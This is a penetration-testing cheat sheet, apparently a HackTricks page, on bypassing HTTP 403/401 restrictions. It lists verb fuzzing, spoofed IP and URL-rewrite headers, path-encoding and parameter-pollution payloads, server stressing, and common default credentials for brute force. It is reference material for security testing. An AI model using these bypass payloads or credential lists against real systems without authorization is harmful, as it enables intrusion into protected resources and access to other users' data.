hacktricks/pentesting/pentesting-web/403-and-401-bypasses.md

91 lines
4.4 KiB
Markdown
Raw Normal View History

2021-09-19 15:52:48 +00:00
# 403 & 401 Bypasses
## HTTP Verbs/Methods Fuzzing
Try using **different verbs** to access the file: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
* Check the response headers, maybe some information can be given. For example, a **200 response **to **HEAD **with `Content-Length: 55` means that the **HEAD verb can access the info**. But you still need to find a way to exfiltrate that info.
2021-09-19 15:52:48 +00:00
* Using a HTTP header like `X-HTTP-Method-Override: PUT` can overwrite the verb used.
## HTTP Headers Fuzzing
* **Change Host header** to some arbitrary value ([that worked here](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
2021-09-19 15:52:48 +00:00
* Try to [**use other User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) to access the resource.
* **Fuzz HTTP Headers**: Try using HTTP Proxy **Headers**, HTTP Authentication Basic and NTLM brute-force (with a few combinations only) and other techniques. To do all of this I have created the tool [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
* `X-Originating-IP: 127.0.0.1`
* `X-Forwarded-For: 127.0.0.1`
* `X-Forwarded: 127.0.0.1`
* `Forwarded-For: 127.0.0.1`
* `X-Remote-IP: 127.0.0.1`
* `X-Remote-Addr: 127.0.0.1`
* `X-ProxyUser-Ip: 127.0.0.1`
* `X-Original-URL: 127.0.0.1`
* `Client-IP: 127.0.0.1`
* `True-Client-IP: 127.0.0.1`
* `Cluster-Client-IP: 127.0.0.1`
* `X-ProxyUser-Ip: 127.0.0.1`
If the **path is protected** you can try to bypass the path protection using these other headers:
* `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console`
* If the page is** behind a proxy**, maybe it's the proxy the one preventing you you to access the private information. Try abusing [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling.md)** or **[**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
2021-09-19 15:52:48 +00:00
* Fuzz [**special HTTP headers**](special-http-headers.md) looking for different response.
* **Fuzz special HTTP headers **while fuzzing **HTTP Methods**.
2021-09-19 15:52:48 +00:00
## Path **Fuzzing**
If _/path_ is blocked:
* Try using _**/**_**%2e/**path _(if the access is blocked by a proxy, this could bypass the protection). Try also_ /**%252e**/path (double URL encode)
* Try **Unicode bypass**: _/**%ef%bc%8f**path_ (The URL encoded chars are like "/") so when encoded back it will be _//path_ and maybe you will have already bypassed the _/path_ name check
2021-09-19 15:52:48 +00:00
* **Other path bypasses**:
* site.com/secret > HTTP 403 Forbidden
* site.com/SECRET > HTTP 200 OK
* site.com/secret/ > HTTP 200 OK
* site.com/secret/. > HTTP 200 OK
* site.com//secret// > HTTP 200 OK
* site.com/./secret/.. > HTTP 200 OK
* site.com/;/secret > HTTP 200 OK
* site.com/.;/secret > HTTP 200 OK
* site.com//;//secret > HTTP 200 OK
* site.com/secret.json > HTTP 200 OK (ruby)
2021-09-19 15:52:48 +00:00
* Use all [**this list**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) in the following situations:
* /FUZZsecret
* /FUZZ/secret
* /secretFUZZ
* **Other API bypasses:**
* /v3/users_data/1234 --> 403 Forbidden
* /v1/users_data/1234 --> 200 OK
* {“id”:111} --> 401 Unauthriozied
* {“id”:\[111]} --> 200 OK
* {“id”:111} --> 401 Unauthriozied
* {“id”:{“id”:111}} --> 200 OK
* {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSON Parameter Pollution)
* user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Pollution)
2021-09-19 15:52:48 +00:00
## **Other Bypasses**
* Try to **stress the server** sending common GET requests ([It worked for this guy wit Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
2021-09-19 15:52:48 +00:00
* **Change the protocol**: from http to https, or for https to http
* Go to [**https://archive.org/web/**](https://archive.org/web/) and check if in the past that file was **worldwide accessible**.
## **Brute Force**
* **Guess the password**: Test the following common credentials. Do you know something about the victim? Or the CTF challenge name?
* [**Brute force**](../../brute-force.md#http-brute)**:** Try basic, digest and NTLM auth.
{% code title="Common creds" %}
```
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
```
{% endcode %}